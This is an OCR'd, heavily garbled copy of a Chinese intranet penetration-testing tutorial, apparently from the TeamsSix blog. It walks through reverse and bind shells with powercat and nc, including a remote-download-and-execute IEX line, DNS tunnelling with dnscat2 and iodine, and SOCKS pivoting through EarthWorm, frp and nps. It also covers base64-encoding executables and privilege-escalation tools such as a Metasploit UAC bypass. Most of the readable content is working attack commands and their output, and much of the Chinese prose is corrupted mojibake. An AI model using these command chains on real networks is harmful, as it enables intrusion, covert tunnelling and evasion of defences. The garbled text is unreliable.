gACAAewAKACAAT! gﬂC%AI%AQACO%P@DIAG4A\WBW%GE*CG zAFs %IVB-%CIA\O%EADOAI \AKAEYAYQBsAHMAZQAKACAATAAgACAATAAgACQAUWBVAG)
» powercat “-1 P 4444 -u
.: Set Stream 1: TCP
,: Set Stream 2: Console
,: Setting up Stream 1...
,: Listening on [0.0.0.0] (port 4444)
: Connection from [172.16.214.21] port [tcp] accepted (source port 50623)
Setting up Stream 2...
Both Communication Streams Established. Redirecting Data Between Streams.
Mlndows PouerShell
Copyright (C) 2013 Microsoft Corporation. All rights reserved.

> aaipconfig

Windows IP ?2?
|
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??7? IPvb ??.
IPuy 2?7 .

L dns FREEE
powercat #Y dns FXEZ

TR S U% £ 2223E dnscat

none

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.

er/powercat.psl’')

: fe80::3081:2881

: 172.16.214.
1 255.255.255.0
: 172.16.214.1

P kali 94

BT Z/E, AT T ITEIRSIm

none
-1 TR
-p TR TE DT
-e el =bvibrid =N = T
-V RN
-C BEBEEEN IP it
-ep =[5 powershell
-dns /A dns B
-g 45k payload
-ge AR 985 payload,

https://teamssix.com/211027-163641.html

:ddbb :

21

EF dnscat 121189, HULFERSS

DA ] 27 5] B0 & 4 | TeamsSix

cO36%T

IREE(F A dnscat EE,

FILAEEFH powershell -e Hi{71% payload

com/besimorhino/powercat/mast

75/273



2021/10/27 F4F-6:42 DEBOKKT N2 0 A4 | TeamsSix
FEEEALS, HITUA Nap<, #2137 dns BEE

none

nc -v rhost rport

IERS, £ kali ERBEBRICIENZIE T

none

nc -v 172.16.214.21 4444

NI, BREEREIRIE, BAENTHS, ENERRAZMT 4.

powercat ERIFICF XL, BRI ERITARNMAIL T, SRERMKLFANE, FRERBZZIIRIETRE
ZEHRKRIE shell, AINHAAE CS BE MSF I, ~EEI,

1. 48
iodine XM EEFEMNEERRE, iodine BNE I 2, MAYRFFHN 53, 53 Byl DNS RSN A% OS .,

iodine #1 dnscat2 —#¥, EETEMIEKHTUERFIAZE T REERE DNS 15 KAIAMER, iodine BIIFBEDAL T BI%
RN AR PRIPIRL

iodine 5 dnscat?2 RAEINET lodine RBIHEMEFimEEH C BS54, EY iodine WRIBHALEAE, iodine @it

TAP 7F R EZ i AE Pimr RIETT — R AN - B@E DNQ RxE T ERE KRB EHINER— &St e
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I JJIAN 2 1 H e L I B R B e e (I AT R VA (e R W e DAVITAN e N LA B B I JALZAZ o NN TAZ AT AL | ALK IV I A s N Y I /=J"=AVr’3 | O

2, Bk

BRABEEE—TEE, FIRE NS H ALK, ACRIERECHAN VPS #itlE, NS igxIEME A ILERNFEE,

KR =R AE
NS dc nsl.teamssix.com
A ns

Kali FB% iodine , Debian Linux BJLAMEA apt #1743

none

powercat -1 -v -p lport -e cmd.exe

Windows B] AEZZIE W &, ML https://code kryo.se/iodine/ , BRFBImBFRE iodined.exe, &EFife

iodine.exe
3. {£H
XERSHERNE Linux, RSIHaGSUT:

none

https://teamssix.com/211027-16364 1 .html
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powercat -1 -v -p 4444 -e cmd.exe

none

nc -lvp 4444

XEZEFPIR{ERIE Windows, Windows & Fim R T EF iodine XXM, BHEELRE tap NIz, XE
HEER 7T DL http://www.qudong51.net/qudong/981.html

SIFF T30 tap MERaNReE, —BE T8 F—HR&EmI.

REMAAEEPIniERF 7, 8 N R dl XAHEN exe £—THF T, TEREH T exe BIERENL,
mEZENEEANRIZIT NEG <.

none

powercat -c rhost -p rport -e cmd.exe

none

powercat -c 172.16.214.46 -p 4444 -e cmd.exe

UNER I Connection setup complete, transmitting data. FNZR/ DNS [BEMERET T,

AR ZE ping MRS5S B E XAIELL IP B2 FIEA ping 18AY,
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RX: clien
PING pkt
RX: clien
PING pkt °
RX: clien
PING pkt |
RX: cliens
OUT user
TX: clien
RX: clien
PING pkt
RX: clien
PING pkt
RX: clieni
PING pkt !
RX: clien
PING pkt
RX: clienj
PING pkt
OUT pkt
TX: clieng
OUT agai
: client
i clien’
clien
: clien?

ype 10, name paeahuly.dc.teamssix.com
from impatient DNS server, remembering
ype 10, name paeahuly.dc.teamssix.com
from impatient DNS server, remembering
ype 10, name paeahuly.dc.teamssix.com
from impatient DNS server, remembering
ype 10, name paeahulq.dc.teamssix.com
ssix.com from dnscache

ype 10, name paeahulq.dc.teamssix.com,

ype 10, name paeahuly.dc.teamssix.com
from impatient DNS server, remembering
ype 10, name paeahuly.dc.teamssix.com
from impatient DNS server, remembering
ype 10, name paeahuly.dc.teamssix.com
from impatient DNS server, remembering
ype 10, name paeahuly.dc.teamssix.com
from impatient DNS server, remembering
ype 10, name paeahu2a.dc.teamssix.com
r downstream 0/0

t=0), offset 0, fragsize 0, total 0, to

ype 10, name paeahuly.dc.teamssix.com,

ype 10, name paeahuly.dc.teamssix.com,
, name receiver.barad.tencentyun.com

3, name receiver.barad.tencentyun.com
ype 10, name paeahuly.dc.teamssix.com

FRUIXE RN M2 BCE T 192.168.77.2 X

3389, 80 =

https://teamssix.com/211027-163641.html
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= = =g \Desktop\tools\iodine-0.7.0-windows\64bit
Bl ™ 7.0-windows\B4bit> .\iodine.exe -f -r -P teamssix dc.teamssix.com
Opening deu1ce At
Opened IPu4 UDP socket
Opened IPu4 UDP socket
Sending DNS queries for dc.teamssix.com to 172.16.214.1
Autodetecting DNS query type (use -T to override).Opened IPu4 UDP socket

Us1ng DNS type NULL querles

Enabling interface "7
Setting IP of interface

Server tunnel IP is 192.168.77.1

SKipping raw mode

Using EDNS® extension

Retrg1ng upstream codec test... Ping 192.168.77.1 i=N
upstream codec test... ¥ 192.168.77.1 H[E[%
upstream codec test... 2H 192.168.77.1 H9[H i‘lﬂ 21ms
upstream codec test... 5192.168.77.1 FIE % : i 18] = 20ms
upstream codec test. 192.168.77.1 Hi[H i+ 8] =29ms

Got NXDOMAIN as reply: domain does not exist

Retrying upstream codec test.

Switching upstream to codec BaseSH

Server switched upstream to codec Base64

No alternative downstream codec available, using default (Raw)

Switching to lazy mode for low-latency

Server switched to lazy mode

Autoprobing max downstream fragment size... (skip with -m fragsize)

..768 not ok.. ...384 not ok.. 192 ok.. ...288 not ok.. ...240 not ok.. 216 ok.. 228 ok.. ...234 not ok..
. 230 ok.. will use 230-2:228
Setting downstream fragment size to max 228...
Connection setup complete, transmitting data.

P, ERNLE—TBENE, BT VPS EiZi)i5) 192.168.77.2 1Y
SMEXRIOY, FEFAAMENBRI M VPS B 22 In(55,

ZItE
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el 7 ERBS PR .

1. Socks R THAMNA
Socks CIER] DAIBMRELFHZRARAY lox, kT lex AER B 2Bl &
https://teamssix.com/year/210528-130449.html

BR lox BERFARAIL, HAENRREABEEIRAIE T, FUIAESSAPATHGER lox , BHFERXLE socks 14
BTH,

B 0L socks (LI T EHE ew. termite. frp. nps. sSocks. reGeorg. Neo-reGeorg. SocksCap. Proxifier.
ProxyChains %%, FNEINTEEAERNSEN A EEBRAE.

ANEXEGFAETEEZEERSEFER, MUXEEECFE T ew. fro. nps ERFE, AEXEEEICE ew BF
B, BEXEREN fro. nps BER.

THaZ Bl JoEE NERCEN R ECEN X,

@R Ep@I IR EmEN, BIBGEEN —) BinEl
REfGE: Binlss B (CGRETENER, BIEMmREN —) BEEN

2. ew HY{EF

ew WIMEFT1: http://rootkiter.com/EarthWorm/

AN T B —— N7 N L =N 3 . . =M e = L= N |3
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ew EML  EarthWorm , BEI1FVKFLE %l , SIWBTFEHIREE -

ZTAMRBO EW . R, SREE SHRTE—LNERE, EANSRL, MIEIENT RS
MR, BB,

X MERABZRIERT .
TH

FEDE AR ew W NE T, BEET 1 github BEZBEMA LEH, AIRSHEES.

NEMEE:  https://github.com/idlefire/ew
MIXTE EEMNRERZE b5 Faiirl MEE XN LTEEREREFART .

{£H

Z T EHAE 6 M8 ssocksd. rcsocks. rssocks. lex slave. lox listen. lcx_tran, 1[E[@EENGSE
ssocked, &EEENTGSE rcsocks # rssocks, EanSBF—LEHIRE Ze RN K IME R,

a. IEMm&E%
EEEEFEEMENE—TAN P, HERK G ENEEBEZNDE BinE.

L MRE R

none

https://teamssix.com/211027-16364 1 .html
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powercat -1 -v -p lport

none

powercat -1 -v -p 4444

SR IE1ER SocksCap. Proxifier. ProxyChains T ERE B ENAY IP FS0miw[ElR], socks EikFE socksh

b, REIEE

REEREETEINE LM P IER, XEMBEE—aLM vps T, XEFMBEZUNMIIHERERT .

.t

AN VPS EHATA Rap<:

none

powercat -c rhost -p rport -v -ep

none

powercat -c 172.16.214.21 -p 4444 -v -ep

XL FRTNG 1080 I OFRWEINETREF RS 4444 150 £,

EEFEN LR TS

none
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kali 172.16.214 .47
windows?7 172.16.214.2
windows1l0 172.16.214.21

none

powercat -1 -v -p 4444 -e cmd.exe

XEMLFRNEAMITS socks 5 ArSS, FHRo8EE vps B9 4444 Ix, WRRIBEILANID, £ VPS inm=EE!
rssocks cmd_socket OK! HIIR/ .
&x/a, IE vps 89 1080 Um Ot A ATARI 2RI BARENAIAM T,

W SEERERS..
Q% ¢ 9B V.0Q .
- ‘ e : .16.214. 52
== KB = e =4 7= =En IEEL' | R . SOCKS 5
E2 L R zgm-socxs5-;92.16.214.52.1080] v A& [T
>. for_Win. exe -s S —C 214,52 -g FE: [T
ks 172. 16. 214, D000 3 EEJE%?'JNEEHE = .
@ ~/tools/ew-master .I_.E”T:I_:djﬁ f"‘:ﬂﬂﬁ EHIEE. ..
ok " i B S5es%] http://global. bing. com/ HIEETLEEES
./ew_for_linux64 rcsocks 1080 4444
rcsocks 0.0.0.0:1080 <—[10000 usec]-—> 0.0.0.0:4444 E:Edhﬁﬁﬁ%ﬁ
init cmd_server_for_rc here 23| B E KpE. F oy
start listen port here EE,}Jﬁtf{t}EﬂﬁﬂgEE’ji_l_
rssocks cmd_socket OK! . 214.52 HJRIES ) ns.
M }Aﬂﬁt?ﬁﬁ.

c. ZRMBIME (—)
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BXEN—PMEIME, BIinEN A BRI, — PDAMNIIE—DN AR, EXPEHREETHICAMNEN B A8E
B EMAMNER, MAMEN B A8ETARIIMNIEREESIDAMEIR,

AZEXMEETNRE, FRTDAMER ew #H1T —REMRIADEIANE R,

none

powercat -1 -v -p 5555 -r tcp:172.16.214.21:4444

AANEN B £, FT/EERERE

none

nc -v 172.16.214.2 5555

none

powercat -1 -p 4444 -e cmd -g > shell.psl

FEAMEN A £

none

powercat -c rhost -p rport -v
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norie

powercat -c 172.16.214.21 -p 4444 -v

XL FRTIG 1080 In O WEIRFUIRIEREL REIAMEN B 192.168.7.110 89 4444 Um[1, IEESHIAI AR

EAL A BIFNN 1P /Y 1080 Im1he) R WM ENL B _E2218A9 socksd I T,

d. ZEMBIME (Z)

£ FERIMER, AT ABAW IP, IRZEAW IP RIER T, XIZEANE?
FUEFEE—ELWE VPS EHL,

none

powercat -c rhost -p rport -ep -g > shell.psl

TAM VPS E

none

powercat -c 172.16.214.2 -p 4444 -ep -g > shell.psl

none

powercat -1 -p 4444 -v

==\ anon IIFTIhA (LTRXESDAELTIE 242020 32— L

https://teamssix.com/211027-16364 1 .html
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IR/INAT TUOU UXEUAY T\ IR BRI R £ 4444 Uin L

FEAMEN B £

none

powercat -c 172.16.214.2 -p 4444 -ep -ge

none

powercat -1 -p 4444 -v

T2 5555 Im O IF A

FEAMEN A £

none

powershell -e payload

none

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/

gem install bundler

bundle install

FKTAERMEN, A 12 Iex slave BT, 4§ VPS B9 4444 UxIFIAM A, B #Y 5556 In&ER#E.
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WAERL A DUEE VPS 89 1080 I 1A ZIAMN EN, A BIARZEIANEN B, &/EHRIEIANGEIR T .

e. ZRMBIFE

SRR IR, PREA A SEAR P TEESEAMEE, BRANFESIINMEN B, RIMEN B R
BEVSESNFIRMER, BRFMA A, C BEHE, WMEMN C AEHIRMAR, ERRENNMEN B 18HE)
B, BRI HEE AR AR EEU=EBR.

none

ruby dnscat2.rb powercat -e open --no-cache

AR VPS £, 5 1080 I QWERIRCEIBREERE] 4444 im0

none

powercat -c 172.16.214.47 -p 53 -dns powercat -e cmd.exe

none
sessions #  DEMESE
session -1 1 # GEBIEENSEHITRE

EAMEN A £, 35 VPS 1Y 4444 i OFAMEAN]L B Y 5555 i[O EIZFFK
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none

sudo apt-get install iodine

none

sudo iodined -f -c -P teamssix 192.168.77.1 dc.teamssix.com -DD

ERMEN B £, & 5555 in OWRIRIFCIEIEKEE R E 6666 in L

none
-f FERIAIET
—c THEENEROESE IP Mot
-p B RS2 TR
-D BEAS, -D RRF—R, -DD RRER, KELEE

192.168.77.1 RECEEXNBEMEM IP ihut,

none

\1iodine.exe -f -r -P teamssix dc.teamssix.com

ERMEN C £, 55 socksd ikRSS, /&35 B EHLAY 6666 imM L

none
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-r iodine BRf=HEz1 DNS [FBt)Hs UDP BE, £/ -r ep< P LIRHNE iodine 7RISR TEMER DNS [3E

none

ew -s ssocksd -1 1080

Ztt, socks5 LIE VPS #9 1080 xS0 RN M AR T .

FINEE ew BOTTRAR T AN termite, NILERIRIEAIE termite AMFERBEELEEREF 17, XEOMABKEE
ENICEE T .

1. TR

BT —RYXENMAN ew BWFERIL, o MTNZ 7, EX LRI RMMIORAE, SITH—RENERE
JLRAI,

AP, KERRZEANLE frp, frp TIEMIL:  https://github.com/fatedier/frp

EFTHLEHIEETEMN releases E N EH XN RGIRA T
2. {£H

BEAERX: https://gofrp.org/docs/

frn ARV ARRZVEFNZZ e A 2N frne N frns T3 ETH LA ZIITNT Frne ini T frne ini
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VN DX ZI MV THTET ), M, /J JUHSA 1O e o, HUBEL T /J JUYANT 2L 1 DO - ol

PAUREMBYI N AMIAE, VPS IP 5 172.16.214.52, BIrEH IP 28 192.168.7.110

a. AMIROFE
s AMENTEI, BMAAMIERIANMENT 3389 ik
£ VPS FABRSEIR, XE kali I, BEBLE X frps.ini

none

-s RERSERN -1 RE RO

A IE BRI

none

> .\ew_for_Win.exe -s ssocksd -1 1080ssocksd 0.0.0.0:1080 <--[10000 usec]--> socks server

&S inic & Xt

none

ew -s rcsocks -1 1080 -e 4444
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norie

-e RERBETHIFRO

RS, £ vps L£ih[e)ARMBAY 3389 Um IR = 1A e EI R EALAY 3389 im 1 .

rdesktop -127.0.0.1
p.0.1:3389
rd map 'en-us' f
r ficate r
d to initi NLA, do you ha
re(warning): Certificate received
Connection established using SSL.

ver udp port [0]

=/ frp_0.37.0_linux_amd64 !

L# ./frps -c frps.ini
2021/06/09 145:03
2021/06/09 145:03
2021/06/09 :45:03
2021/06/09 150129

2021/06/09
2021/06/09
2021/06/09
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by ot b O e 0 —

b. #1317 socks {LIE

B WMEARTEM, IR ENIERBRER
LFENDEREFMNA fro 1hie) ¥ ANEENEENEE RO, Bl TE R UFIA fro RN ENERDERIRIER
XRBATB L frp 89 web =HIERA RN EIEISEFINGE, ILTBIINERENZE. HiE,

£ VPS LI EMRSIm, ARSSImECE XAl

none

> ./ew_for_linux64 -s rcsocks -1 1080 -e 4444

SR, AT EHNRBEC, RYEERRERUEA0)

REWXHE, E5IiRSin

none

ew -s rssocks -d vps_ip -e 4444

B EE i X
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none

-d ®RERBEN IP

THEE i

none

DA ] 27 5] B0 & 4 | TeamsSix

> .\ew_for_Win.exe -s rssocks -d 172.16.214.52 -e 4444

MR VPS IP 89 1080 B9 socksh I, £UEELEE T,

@u“itﬁﬂu‘ltﬁ‘ﬁﬁﬁu

DO

aﬁiﬁi-socm 5 - [172.16.214.52:1080] | @ &

https://teamssix.com/211027- 163641 html

itﬂnt: 172, 16. 214, 52:1080
{RIB2ERY . SOCKS 5

AR&: [T]
B [T }
IEEE%?‘JHEHE%E‘E. . [
{
IEEsJJLﬁL IR S EAER . ’
2R S E32 htto://alobal. bing. con/ HIEEESR.
EEJJ‘E’;@E%@ [

IEMﬂﬁﬁ% ﬁML "

b run id [£37a0f
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= ~/tools/frp_0.37.0_Llinux_amd64

./frps frps.ini

2021/06/09 04:12:09
2021/06/09 04:12:09
2021/06/09 04:12:09

2021/06/09 :12:09
2021/06/09 : 12 718

2021/06/09 04:12:11
2021/06/09 04:12:11
2021/06/09 04:12:25

9T fros ERE, EF/A, PINERISREERLUENEXER

# frps dashboard

<« c @ G 172.16.214.52

& @
s A A
Overview
Name ¥
Proxies
socks5
TCR
—
ubp L
soc
HTTP
710i
HTTPS
fals
STCP
SUDP
Help

fro S UL A L E IR R AYIX LE

https://teamssix.com/211027-163641.html

& [$
Q oF &
P

Trafficdn Traffic Out status

330 bytes 265 bytes

'0;

tcp

false

O .
Y

06-09 04:12:11

%

, BEZIEFIUSZE TENSEXE,
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1. 8
nps M EHuE:  https://github.com/ehang—io/nps
WR—AEEEFNNAMFELER, BT frp, nps B web BIEMEBRAREZ 7,
nps A1 frp —=FINEEERRZ, XEMEZICE MNENEE AR SOCKSE IR,
2, &
nps AREF fro ROFFFERIA, nps RIARSSIRFER R AL, XED kali TRIRERNA,
£ nps TNE K releases F M B SN N RGN, BESZE

none

NWNENA (BAWIP) --) AMENB --) AMZIR

3. {&H

BEHERXA: https://ehang—io.github.io/nps
BrhiRSSi%, EAA Web BIEFREIHO 8080
[B5) nps fa, BIH0ARSIRY 8080 im, MMAEFIARELS admin/123 #1TE xR, AHEH, X web FEMESELE frp

HNFEERZ.
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@ Dashboard

D client

3 Tcp
% uop

HTTP proxy

«“

1

https://teamssix.com/211027-16364 1 .html

O /4 172.16.214

Client connection port

8024

Configuratiofvinformation
Bridging mode

HTTP port

HTTPSport

IPrestriction

Traffic data persistence
Log level

P2P porf

Server IP

Server version

Traffic statistics

@ out
-

DA ] 27 5] B0 & 4 | TeamsSix

tep

80

0.26.10

Online clients

0

System information

cPu
Memory

-

Load

TCP connections {establish)
UDP connections (establish)
Out

In

Connect type

@B HOST
- i
@9 uop
o HTTP
SOCKS 5
@ Secret
- r2r

TOPconnections

0

— HOST
/

0%,
3%

0.01 0.030.0.07

0.12KB/s:

0.13KB/s
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I AR T

nps FUERERER, FEIES 0 ALEF,

BB — 1 E PR, /il B ) B, SENEESIRIE, ES5EXESRE, /REOFTBENE

NPS - &2

= Cl ofat © & 172.16.214.52

Basic IMEEPS

admin

AXPRSocksS, Web, HTTPEE&EIE
Basic IAME®H

password

{RPRSocksS, Web, HTTPEE&{RIE

= HTTP R IE— A
Socks R BERTAAZMmE
IE—{E, FEIFEER
2 REBPEETRE S
P2P iE % 2
E4%

il
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@ ERHE
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&l>$*

, XPENBERED T .

NPS - &2

< > C o © /& 17216.214.52

ZE Rl — T BT AR RIRIRZA NI IC %,

el HE S
7 =2 + s
L ers i &3t ik E-wizen B
R AT 3

- test px01zkuoOrgigmk1
12 P fiiE . . . Lo s . . ~

BAEER 0 UFEER 0 REFES:Oom FEME okb/s BARER 0
>3 UDP & WebBHAFE: WebBR®EE: Basic IMEAPR: admin  Basic IAMESER: password

nE R EEER ATEFPREIBEXHER R

= HTTPRE

SPﬁﬁ%j ./npc -server=17238.214.52:8024 -vkey=px01zkuo@roiqmkl -type=tcp

g )C
SRE 1 HELKICR, B8 1 £ER
® 2
= p2piElE
= xpiE

Ehla<LEE ,in LintT, RSImX

https://teamssix.com/211027-16364 1 .html

VREEEIEMBEL L4 T, )

RENIRFHBICEEN NS ReEEEEIRESE N in LEEiTi%w

ADRER HORR & K& = &I

08 0B/S B s N Elg

ERINSOHRBLTM T T4,
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LSS wa

BEFIRIIER
B R + g R
L =ru ) & =3 W— T Bt AR SO iR RS & E
-3 test 0.26.10 px01zkuo0r9igmk1 192.168.7.110 0B 0B 0B/S
L BAERN O HEERL 0 RERE)Om  HRRH: 0kb/s RARLER: 0 B C:\Windows\System32\cmd.exe.~ \npc.exe -server=172.16.214.52:8024 ~vkéy=px01zkuoOrdiqmk1 -typé=tcp -.oo X
>3 UDP RE WebEFiAF&: - WebEFi#3: Basic IAERAF®: admin  Basic IAE#H: password ;

mE: R EREE AWEFPREIREXMER R

ent is

= HTTP R
EPIE#®S: ./npc —server=172.16.214.52:8024 -vkey=px01zkuo@r9igmkl —type=tcp

L 50CKs i
BRE 1 HET KiER, BRI KER

R =

NRIBRIE—" SOCKSE REMREER, HiFmdE “‘SOCKS (I —) g, MmAEF,HN D IRENEO, A5
FTIEENA]

NPS - B2

= C @ % 172.16.214.52

SOCKS {32

EFIRID

= HTTP{{E

https://teamssix.com/211027-163641.html
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ZEEEIRE SOCKSS 32 IP N nps fRSSIm 1P, InXEIRERE 1080, XHF/MEIL 7 —1 SOCKS I8, R
FBIREE IR R, 18& TINEKSEN, IBAEERER SOCKS fUGERRE, BERINEXNAIIKSHZERS,

NPS - &12

<« C o G 172.16.214.52

SOCKS fLIEFIR
B wwE + e -
L &r D &P D &5 e %0 B (P:#0) -5 w5 ETRE BPRE
O AT -4 3 SOCKs {12 1080 [ 71 | [ 7 | [ % |
T TephiE HOfR: 0.25KB  ALifiM: 0.30KB  H0&: true EHE: true Basic IMERPH: admin  Basic INE®3: password
% uop ke SR 1 BEIRER, B2 1 FiER
B cm b REEES )

i WO S =8 wEEm  gEAR kG BB @ Hibts 172, 16,214 52:1080 -
. R ~ | fRIBZEL: SOCKS 5
N 2
= socks R = = SOCKS'S FP&: adnin
§ 1721621452 1080 admin [password | socks s ED: ek

N n@fkE g . -y S0CKS 5 EEERREREE. ..
M@ RIBRSEOER. ..

= ropiEi
L i3 32 AR 5 2] ittn: //alobal. bing. con/ HIERELR

EEMRERER ..
e -] i 5 P
= ' V=) i iy . s
(SCEINE %
y EEMRARERSEAOER. ..
@ avm 112 172.16.214.52 KIREBIR
MiteER.
v
; } . —
AWindows\System32\cmd.exe - \npc.exe -server=172.16.214/52:8024 -vkey=px01zkuo0rdigmk -type=tcp - o x P o <}
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AEXBEPIRETEHREENEENGSTHERE, BENERHE T,

/

BREIZFEN—1E0, BfrcREAENEAR T LEXHERAIMNETISCR, T2@BERY PowerShell 15
exe T2[FmIDAL base64 XK, RRBIBEMNANETEFRBInENG, BHTEE, XEi1cxE NhA.

2. PowerShell
£/ PowerShell #1T base64 4ghY

none

ew -s ssocksd -1 4444

{4 PowerShell 11T baset4 f#h5

none

> \ew_for_Win.exe -s ssocksd -1 4444
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LR - ==k KE KA

B fscan. exe 2021/6/18 14:58 BAEF 2, 844 KB

B'| fscan_baseb64. exe 2021/6/30 17:23 W HEER 2,844 KB
fsdan_base64. txt 2021/6/30 17:23 LA 3,792 KB

Windows PowersShell N :
FRACETA (C) 2009 Microsoft Corporation. f{r & FTAE T F.

:\Users\teamssix\Desktop\fscan> $PEBytes = [System.IO.File]::ReadAllBytes('fscan.exe")
:\Users\teamssix\Desktop\fscan> $Base64Payload = [System.Convert]::ToBaseb4String( $PEBytes)
:\Users\teamssix\Desktop\fscan> Set-Content fscan_base64.txt -Ualue $Base64Payload
:\Users\teamssix\Desktop\fscan> $BaseGHBgtes = Get-Content ("fscan_basetY4.txt")
:\Users\teamssix\Desktop\fscan> $PEBytes= [System.Convert]::FromBase64String( $Baseb4Bytes)
:\Users\teamssix\Desktop\fscan> [System.I0.File]::WriteAllBytes(“fscan_base64.exe" K $PEBytes)
:\Users\teamssix\Desktop\fscan> .\fscan_base64.exe -h
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[ I I
AV Y WY D R VPP B S

fscan version:

flag needs an argument: =h
Usage of C:\Users\teamssix\Desktop\fscan\fscan_baseb4.exe:
-¢ string
exec command (ssh)

3. CertUtil

B Windows 7 FFt8, Windows B& 1 CertUtil a5%, PJLAMEA CertUtil #17 MD5. SHAT F8)A2101T5E, el UER
CertUtil #47 baseb4 HIZghS, {FHRFEELL PowerShell H{EAD,

fFH CertUtil 3#1T4m03

none

-s lcx_tran -1 1080 -f hostB_ip -g 4444

£/ CertUtil ¥1T#ERG

none

> ./ew_for_linux64 -s lcx_tran -1 1080 -f 192.168.7.110 -g 4444

https://teamssix.com/211027-163641.html 103/273



2021/10/27 F4-6:42 [ o] P 2 210 A4 | TeamsSix

HBFR & BEA CSidl b\
v o BRIEARE
B W fscan.exe 2021/6/18 14:58 R FAtER 2,844 KB
) W fscan_baseb4.exe 2021/6/30 17:30 R FAER 2,844 KB
¥ TR | fscan_base64.txt 2021/6/30 17:30 AR 3,910 KB

= U3

CertUtil fscan. exe fscan base64. txt

08

> A ) E
é,»’ s\fscan> CertUtil fscan_baseb4. txt fscan_baseb4. exe
AR = 40037

KR = 2911744
CertUtil: —d le 7y
fscan> . \fscan base64. exe

fscan version: 1.
an argument: —h
of C:'

—c¢ string

s\fscan\fscan baseb4. exe:

https://teamssix.com/211027-163641.html
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AT, ?E?EﬁﬁﬁiffﬂJﬂ%TE@’\ AR, EitEE N —aE£IWIRE, JUBYEESRIENT+THIE
. MIMEENREAN AR, #mE T MR, I-NFIRIE,

FTARIMERFKNT

systeminfo
EHIB1T systeminfo @<, & MEAMERI  (EEX: Hotfix(s) ) AIMEBERIDRERNFNT

none

VPS --) INEAA --) AWENB --) AR

TITUTNSS, B UEREHAIARIT+T 5N, ERERLL systeminfo BIFHEN,

none

ew -s lcx_listen -1 1080 -e 4444

none

> ./ew_for_linux64 -s lcx_listen -1 1080 -e 4444rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444init cmd_serv
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er_for_rc herestart listen port here

BT ARG L& TMEANT, BRRERIEL R REFERIE T

2. BeEIRIMEREKFNT

Sherlock 2
Sherlock 2—"17f Windows TBEESZIRIR &I B An R4 bl BEfF £ Bl i B T 12N AYRERY PowerShell BiZx,

Sherlock INB#uAE:  https://github.com/rasta-mouse/Sherlock

SNHZ

none

ew -s ssocksd -1 5555

ANAN

Sherlock a3<

none

> .\ew_for_Win.exe -s ssocksd -1 5555

Metasploit

HFOARIRBEIBfraida, LLAXERETE Seesion ID 4 1, {#R post/windows/gather/enum_patches &R p] H#%

ANREN T AL T SR
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=28 BRIV J 18T

none

ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555

SEER MSF R BRI BIRAURIE, AEHITREMN
B EE NEAIRIENR

none

> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 55551lcx_slave 172.16.214.1:4444 <--[1
0000 usec]--> 192.168.7.110:5555

A IAEZ LRI R Medium Mandatory Level, BIE @AY SR

BANER post/multi/recon/local_exploit_suggester &R T 250 22 48 P A R AYERURE

none

VPS --) ANEAL A --) AWEN B --) ANEN C

] AEFIERIEE exploit/windows/local/bypassuac_eventvwr &R B] #F1] F

none
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ew -s rcsocks -1 1080 -e 4444

IESR, £/ exploit/windows/local/bypassuac_eventvwr IR E 14 BN RIZF 2 7 High Mandatory Level, B[
EEANR, XEAMir MSFRAET .

wesng

wesng #HRA Windows Exploit Suggester #9 ~—1%, wesng #1 Windows Exploit Suggester RIER /77 EEA—, 18
wesng P IFHIRIERGTEFE, I LM wesng AR Windows 11 F=Frffgsky

wesng L& A AR E &2

none

> ./ew_for_linux64 -s rcsocks -1 1080 -e 4444rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444init cmd_server_
for_rc herestart listen port here

ERERMREE, BEREEMENLBITU NS, & systeminfo BUERMRFE txt B,

none

ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555

E1EFER wesng BlF]

none
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> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 55551lcx_slave 172.16.214.1:4444 <--[1
0000 usec]--> 192.168.7.110:5555

wes.py info.txt
Windows Exploit Suggester .98 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+] Operating System
— Name: Windows 10 Version 20H2 for x64-based Systems
Generation: 10
Build: 19043
Version: 20H2
Architecture: x64-based
Installed hotfixes (7): KB5003254, KB5003537, KB4562830, KB4580325, KB5000736, KB5003637,
Loading definitions
— Creation date of definitions: 20210705

Determining missing patches
[+] Found vulnerabilities

Date: 20210216

CVE: CVE-2021-24111

KB: KB4601050

Title: .NET Framework Denial of Service Vulnerability

Affected product: Microsoft .NET Framework 4.8 on Windows 1@ Vegsion 20H2 for x64-based Systems
Affected component: Issuing CNA

Severity: Important _II

Impact: Denial of Service
Exploit: n/a

Date: 20210216
CVE: CVE-2021-24111
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KB: KB4601050

Title: .NET Framework Denial of Service Vulnerability -
Affected product: Microsoft .NET Framework 4.8 on Windows 10 Version 20H2 for x64—b;;ed Systems
Affected component: Issuing CNA

Severity: Important

Impact: Denial of Service

Exploit: n/a

[+] Missing patches: 1
- KB4601050: patches 2 vulnerabilities
[+] KB with the most recent release date
- ID: KB4601050
— Release date: 20210216

[+] Done. Displaying 2 of the 2 vulnerabilities found.

1#£/ wesng PINBEZEEI BT A 8EZFAN CVE ®E, MMETHRANIEHX AN BXLERE.

PowerUp

PowerUp p] AASESH BAnHXRECE N ZIARSS, TEHIL:
https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1

£ PowerShell B & N\ FFHITHIZ

none

ew -s lcx_listen -1 5555 -e 6666
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1R PowerShell HFAEZREINNE T TESAMA, sIMERNU ML 5T,

none

> .\ew_for_Win.exe -s lcx_listen -1 5555 -e 6666
rcsocks 0.0.0.0:5555 <--[10000 usec]--> 0.0.0.0:6666
init cmd_server_for_rc here

start listen port here

none

ew -s rssocks -d 192.168.7.110 -e 6666

BT &R, R BUREFRZFE] tkt XHE, HEEE

none

> .\ew_for_Win.exe -s rssocks -d 192.168.7.110 -e 6666
rssocks 192.168.7.110:6666 <--[10000 usec]--> socks server

MG ERILERPTINE H MongoDB RS 1FEIRE, T Install-ServiceBinary &R, &1t PowerUp R IZAMYRECE
AERNINEERRBRF,

none

[commonlbind port = 4444
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none

frps -c frps.ini

BREARSG, BEAF, Rl test EEWANEIEERAT,

none

> ./frps -c frps.ini2021/06/09 ©03:45:03 [I] [root.go:200] frps uses config file: frps.ini2021/06/09 03:45:03 [I]
